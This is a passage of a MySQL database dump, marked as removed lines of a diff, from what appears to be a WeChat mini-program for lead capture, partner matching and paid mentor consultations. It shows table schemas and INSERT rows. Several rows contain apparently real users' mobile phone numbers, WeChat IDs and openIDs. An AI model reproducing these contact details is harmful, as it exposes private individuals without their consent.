'ogpTW5cteGWqwOsRzh_CCIdKWGSE', '少年梦想家', '', 'xyz469003865', '少年梦想家', '{\"name\": \"少年梦想家\", \"phone\": \"\", \"source\": \"index_lead\", \"userId\": \"ogpTW5cteGWqwOsRzh_CCIdKWGSE\", \"wechatId\": \"xyz469003865\", \"targetUserId\": \"\"}', '2026-03-10 10:50:57.627', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (6, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', '13144454423', 'feido999', '好版登|小程序顾问', '{\"name\": \"好版登|小程序顾问\", \"phone\": \"13144454423\", \"source\": \"index_lead\", \"userId\": \"ogpTW5fmXRGNpoUbXB3UEqnVe5Tg\", \"wechatId\": \"feido999\", \"targetUserId\": \"\"}', '2026-03-10 10:59:48.602', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (7, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', '', 'feido999', '好版登|小程序顾问', '{\"name\": \"好版登|小程序顾问\", \"phone\": \"\", \"source\": \"index_lead\", \"userId\": \"ogpTW5fmXRGNpoUbXB3UEqnVe5Tg\", \"wechatId\": \"feido999\", \"targetUserId\": \"\"}', '2026-03-10 11:00:49.894', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (8, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', '13144454423', 'feido999', '好版登|小程序顾问', '{\"name\": \"好版登|小程序顾问\", \"phone\": \"13144454423\", \"source\": \"index_lead\", \"userId\": \"ogpTW5fmXRGNpoUbXB3UEqnVe5Tg\", \"wechatId\": \"feido999\", \"targetUserId\": \"\"}', '2026-03-10 11:02:55.073', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (9, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', '', 'feido999', '好版登|小程序顾问', '{\"name\": \"好版登|小程序顾问\", \"phone\": \"\", \"source\": \"index_lead\", \"userId\": \"ogpTW5fmXRGNpoUbXB3UEqnVe5Tg\", \"wechatId\": \"feido999\", \"targetUserId\": \"\"}', '2026-03-10 11:15:39.875', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (10, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', '13144454423', 'feido999', '好版登|小程序顾问', '{\"name\": \"好版登|小程序顾问\", \"phone\": \"13144454423\", \"source\": \"index_lead\", \"userId\": \"ogpTW5fmXRGNpoUbXB3UEqnVe5Tg\", \"wechatId\": \"feido999\", \"targetUserId\": \"\"}', '2026-03-10 11:16:51.167', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (11, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', '13144454423', '', '好版登|小程序顾问', '{\"name\": \"好版登|小程序顾问\", \"phone\": \"13144454423\", \"source\": \"index_lead\", \"userId\": \"ogpTW5fmXRGNpoUbXB3UEqnVe5Tg\", \"wechatId\": \"\", \"targetUserId\": \"\"}', '2026-03-10 12:11:08.600', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (12, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', '好版登|小程序顾问', '13144454423', '', '好版登|小程序顾问', '{\"name\": \"好版登|小程序顾问\", \"phone\": \"13144454423\", \"source\": \"index_lead\", \"userId\": \"ogpTW5fmXRGNpoUbXB3UEqnVe5Tg\", \"wechatId\": \"\", \"targetUserId\": \"\"}', '2026-03-10 12:15:14.976', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (13, 'ogpTW5eVttIThJZivHtAredPgYDk', '微信用户gYDk', '14708706724', '', '微信用户gYDk', '{\"name\": \"微信用户gYDk\", \"phone\": \"14708706724\", \"source\": \"index_lead\", \"userId\": \"ogpTW5eVttIThJZivHtAredPgYDk\", \"wechatId\": \"\", \"targetUserId\": \"\"}', '2026-03-10 13:45:05.452', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (14, 'ogpTW5brJSEI2A3f-OIEoX59l_dM', '微信用户l_dM', '15559167826', '', '微信用户l_dM', '{\"name\": \"微信用户l_dM\", \"phone\": \"15559167826\", \"source\": \"index_lead\", \"userId\": \"ogpTW5brJSEI2A3f-OIEoX59l_dM\", \"wechatId\": \"\", \"targetUserId\": \"\"}', '2026-03-11 02:40:50.669', '', 'index_lead'); -INSERT INTO `ckb_lead_records` VALUES (15, 'ogpTW5brJSEI2A3f-OIEoX59l_dM', '微信用户l_dM', '15559167826', '', '微信用户l_dM', '{\"name\": \"微信用户l_dM\", \"phone\": \"15559167826\", \"source\": \"index_lead\", \"userId\": \"ogpTW5brJSEI2A3f-OIEoX59l_dM\", \"wechatId\": \"\", \"targetUserId\": \"\"}', '2026-03-11 02:42:59.635', '', 'index_lead'); - --- ---------------------------- --- Table structure for ckb_submit_records --- ---------------------------- -DROP TABLE IF EXISTS `ckb_submit_records`; -CREATE TABLE `ckb_submit_records` ( - `id` bigint(20) NOT NULL AUTO_INCREMENT, - `action` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `nickname` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `params` json NOT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_ckb_submit_records_user_id`(`user_id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of ckb_submit_records --- ---------------------------- - --- ---------------------------- --- Table structure for ckb_sync_logs --- ---------------------------- -DROP TABLE IF EXISTS `ckb_sync_logs`; -CREATE TABLE `ckb_sync_logs` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL, - `user_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户ID', - `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '手机号', - `action` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '同步动作: pull/push/full', - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '状态: success/failed', - `request_data` json NULL COMMENT '请求数据', - `response_data` json NULL COMMENT '响应数据', - `error_msg` text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL COMMENT '错误信息', - `created_at` datetime NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_user_id`(`user_id`) USING BTREE, - INDEX `idx_phone`(`phone`) USING BTREE, - INDEX `idx_created_at`(`created_at`) USING BTREE -) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '存客宝同步日志表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of ckb_sync_logs --- ---------------------------- - --- ---------------------------- --- Table structure for link_tags --- ---------------------------- -DROP TABLE IF EXISTS `link_tags`; -CREATE TABLE `link_tags` ( - `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, - `tag_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `label` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `app_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `page_path` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_link_tags_tag_id`(`tag_id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 6 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of link_tags --- ---------------------------- -INSERT INTO `link_tags` VALUES (2, 'soul-party', 'Soul派对房', 'https://mp.weixin.qq.com', 'url', '', '', '2026-03-08 21:33:25.819', '2026-03-08 21:33:25.819'); -INSERT INTO `link_tags` VALUES (3, 'feishu-middle', '飞书中台', 'https://mp.weixin.qq.com', 'url', '', '', '2026-03-08 21:33:26.887', '2026-03-08 21:33:26.887'); -INSERT INTO `link_tags` VALUES (4, 'chaoji-geti', '超级个体', 'https://mp.weixin.qq.com', 'url', '', '', '2026-03-08 21:33:27.980', '2026-03-08 21:33:27.980'); -INSERT INTO `link_tags` VALUES (5, 'team01', '神仙团队', 'weixin://dl/business/?appid= wx3d15ed02e98b04e3&path=', 'miniprogram', ' wx3d15ed02e98b04e3', '', '2026-03-09 03:13:14.389', '2026-03-09 03:13:14.389'); - --- ---------------------------- --- Table structure for match_records --- ---------------------------- -DROP TABLE IF EXISTS `match_records`; -CREATE TABLE `match_records` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `match_type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `wechat_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `matched_user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `match_score` bigint(20) NULL DEFAULT NULL, - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_user_id`(`user_id`) USING BTREE, - INDEX `idx_match_type`(`match_type`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_match_records_user_id`(`user_id`) USING BTREE, - INDEX `idx_match_records_matched_user_id`(`matched_user_id`) USING BTREE, - INDEX `idx_match_records_match_type`(`match_type`) USING BTREE, - CONSTRAINT `match_records_ibfk_1` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT -) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of match_records --- ---------------------------- -INSERT INTO `match_records` VALUES ('mr_1770804956699567403', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-11 10:15:56.702'); -INSERT INTO `match_records` VALUES ('mr_1770805004828815468', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-11 10:16:44.832'); -INSERT INTO `match_records` VALUES ('mr_1770806919336562150', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-11 10:48:39.339'); -INSERT INTO `match_records` VALUES ('mr_1770861703187104958', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-12 02:01:43.190'); -INSERT INTO `match_records` VALUES ('mr_1770885536498175895', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-12 08:38:56.501'); -INSERT INTO `match_records` VALUES ('mr_1770885547368768242', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-12 08:39:07.372'); -INSERT INTO `match_records` VALUES ('mr_1770890928804141065', 'ogpTW5Xep2TNeB5TyVHNRfTXli0g', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-12 10:08:48.807'); -INSERT INTO `match_records` VALUES ('mr_1770895165595454190', 'ogpTW5YmVi5VbAiljywgz3RYH_u0', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-12 11:19:25.598'); -INSERT INTO `match_records` VALUES ('mr_1770963380155001815', 'ogpTW5ROpk78CF_4viydnmRylq_M', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-13 06:16:20.158'); -INSERT INTO `match_records` VALUES ('mr_1770963991711647153', 'ogpTW5ZeHTG5gcgtHzHvHZhD7RRc', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-13 06:26:31.714'); -INSERT INTO `match_records` VALUES ('mr_1770964964949931851', 'ogpTW5aca9PhE5Jsd5u4I6e_S3P0', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-13 06:42:44.953'); -INSERT INTO `match_records` VALUES ('mr_1770965475463299650', 'ogpTW5bTVAL4LlYxH3EEweBrohHo', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-13 06:51:15.466'); -INSERT INTO `match_records` VALUES ('mr_1770966226395093681', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'partner', '15260158253', 'flydo888', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-13 07:03:46.398'); -INSERT INTO `match_records` VALUES ('mr_1770966233146470319', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'partner', '13110806007', NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-13 07:03:53.149'); -INSERT INTO `match_records` VALUES ('mr_1771540020937739941', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-19 22:27:00.947'); -INSERT INTO `match_records` VALUES ('mr_1771540136253678427', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-19 22:28:56.257'); -INSERT INTO `match_records` VALUES ('mr_1771678775832604544', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', '15880802661', 'udbfnvtk', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-21 12:59:35.835'); -INSERT INTO `match_records` VALUES ('mr_1771824547611240589', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-23 05:29:07.614'); -INSERT INTO `match_records` VALUES ('mr_1771827188248747334', 'ogpTW5dBNnNpqttcxUbMBlG75Q38', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-23 06:13:08.251'); -INSERT INTO `match_records` VALUES ('mr_1771827201966857300', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-23 06:13:21.969'); -INSERT INTO `match_records` VALUES ('mr_1771827226107083783', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-23 06:13:46.110'); -INSERT INTO `match_records` VALUES ('mr_1771827227341622091', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-02-23 06:13:47.344'); -INSERT INTO `match_records` VALUES ('mr_1771827530483067382', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-23 06:18:50.486'); -INSERT INTO `match_records` VALUES ('mr_1772232522281546997', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-27 22:48:42.284'); -INSERT INTO `match_records` VALUES ('mr_1772271819401106771', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-02-28 09:43:39.404'); -INSERT INTO `match_records` VALUES ('mr_1772414053746863430', 'ogpTW5V92gmbuNnr4dTXkOdbvQT0', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-03-02 01:14:13.750'); -INSERT INTO `match_records` VALUES ('mr_1772509368959878803', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-03-03 03:42:48.964'); -INSERT INTO `match_records` VALUES ('mr_1772519550860205027', 'ogpTW5a9exdEmEwqZsYywvgSpSQg', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-03-03 06:32:30.863'); -INSERT INTO `match_records` VALUES ('mr_1772544964498056496', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-03-03 13:36:04.501'); -INSERT INTO `match_records` VALUES ('mr_1772595995934664476', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-03-04 03:46:35.937'); -INSERT INTO `match_records` VALUES ('mr_1772606567025247876', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'partner', NULL, NULL, 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', NULL, NULL, '2026-03-04 06:42:47.028'); -INSERT INTO `match_records` VALUES ('mr_1772616889602405660', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-03-04 09:34:49.605'); -INSERT INTO `match_records` VALUES ('mr_1772617182100756994', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-04 09:39:42.103'); -INSERT INTO `match_records` VALUES ('mr_1772617188968950443', 'ogpTW5fmXRGNpoUbXB3UEqnVe5Tg', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-03-04 09:39:48.972'); -INSERT INTO `match_records` VALUES ('mr_1772617189830060188', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-04 09:39:49.833'); -INSERT INTO `match_records` VALUES ('mr_1772703407931306772', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-05 09:36:47.935'); -INSERT INTO `match_records` VALUES ('mr_1772703416870561210', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-05 09:36:56.875'); -INSERT INTO `match_records` VALUES ('mr_1772770366425860657', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-06 04:12:46.429'); -INSERT INTO `match_records` VALUES ('mr_1772772327369549402', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-06 04:45:27.374'); -INSERT INTO `match_records` VALUES ('mr_1772897369773413580', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-07 15:29:29.777'); -INSERT INTO `match_records` VALUES ('mr_1772897376392829603', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-07 15:29:36.397'); -INSERT INTO `match_records` VALUES ('mr_1772897386839273275', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, '2026-03-07 15:29:46.843'); -INSERT INTO `match_records` VALUES ('mr_1772937983066978338', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, '2026-03-08 02:46:23.071'); -INSERT INTO `match_records` VALUES ('mr_1772937988950332134', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, '2026-03-08 02:46:28.960'); -INSERT INTO `match_records` VALUES ('mr_1772937993530540546', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', NULL, NULL, '2026-03-08 02:46:33.534'); -INSERT INTO `match_records` VALUES ('mr_1773021935718770486', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-03-09 02:05:35.721'); -INSERT INTO `match_records` VALUES ('mr_1773049220159781585', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'partner', NULL, NULL, 'ogpTW5a9exdEmEwqZsYywvgSpSQg', NULL, NULL, '2026-03-09 09:40:20.164'); -INSERT INTO `match_records` VALUES ('mr_ckb_1772957667864706965', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'team', '15880802661', NULL, '', NULL, NULL, '2026-03-08 08:14:27.869'); -INSERT INTO `match_records` VALUES ('mr_ckb_1772957675975833270', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'team', '15880802661', NULL, '', NULL, NULL, '2026-03-08 08:14:35.980'); -INSERT INTO `match_records` VALUES ('mr_ckb_1772958488187841888', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'team', '15880802661', NULL, '', NULL, NULL, '2026-03-08 08:28:08.192'); -INSERT INTO `match_records` VALUES ('mr_ckb_1773049324947821925', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'team', '11111111111', NULL, '', NULL, NULL, '2026-03-09 09:42:04.950'); - --- ---------------------------- --- Table structure for mentor_consultations --- ---------------------------- -DROP TABLE IF EXISTS `mentor_consultations`; -CREATE TABLE `mentor_consultations` ( - `id` bigint(20) NOT NULL AUTO_INCREMENT, - `user_id` bigint(20) NOT NULL, - `mentor_id` bigint(20) NOT NULL, - `consultation_type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `amount` decimal(10, 2) NOT NULL, - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'created', - `order_id` bigint(20) NULL DEFAULT NULL, - `scheduled_at` datetime(3) NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_mentor_consultations_status`(`status`) USING BTREE, - INDEX `idx_mentor_consultations_user_id`(`user_id`) USING BTREE, - INDEX `idx_mentor_consultations_mentor_id`(`mentor_id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mentor_consultations --- ---------------------------- - --- ---------------------------- --- Table structure for mentors --- ---------------------------- -DROP TABLE IF EXISTS `mentors`; -CREATE TABLE `mentors` ( - `id` bigint(20) NOT NULL AUTO_INCREMENT, - `avatar` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `name` varchar(80) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `intro` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `tags` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `price_single` decimal(10, 2) NULL DEFAULT NULL, - `price_half_year` decimal(10, 2) NULL DEFAULT NULL, - `price_year` decimal(10, 2) NULL DEFAULT NULL, - `quote` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `why_find` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL, - `offering` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL, - `judgment_style` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `sort` bigint(20) NULL DEFAULT 0, - `enabled` tinyint(1) NULL DEFAULT 1, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mentors --- ---------------------------- -INSERT INTO `mentors` VALUES (1, '/uploads/mentors/1772701633687431723_j43sg9.png', '卡若', '大多数人失败,不是因为不努力,而是把精力投进了一个一开始就不该参与的结构里。', '结构判断型咨询', 980.00, 19800.00, 29800.00, '共同问题不是能力,而是缺乏一次高质量的判断', '做事的人,犹豫的人,已投入的人', '项目结构判断,人x项目匹配,风险止损判断', '冷静、克制、偏风险视角、偏长期主义', 0, 1, '2026-03-05 09:10:00.205', '2026-03-05 09:10:00.205'); - --- ---------------------------- --- Table structure for orders --- ---------------------------- -DROP TABLE IF EXISTS `orders`; -CREATE TABLE `orders` ( - `id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `order_sn` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `user_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `open_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, - `product_type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `product_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `amount` decimal(10, 2) NOT NULL, - `description` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `transaction_id` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `pay_time` datetime(3) NULL DEFAULT NULL, - `referral_code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `referrer_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - `created_at` datetime(3) NULL DEFAULT NULL, - `updated_at` datetime(3) NULL DEFAULT NULL, - `refund_reason` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL, - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_orders_order_sn`(`order_sn`) USING BTREE, - INDEX `idx_order_sn`(`order_sn`) USING BTREE, - INDEX `idx_user_id`(`user_id`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_status_created`(`status`, `created_at`) USING BTREE, - CONSTRAINT `orders_ibfk_1` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT -) ENGINE = InnoDB CHARACTER SET = 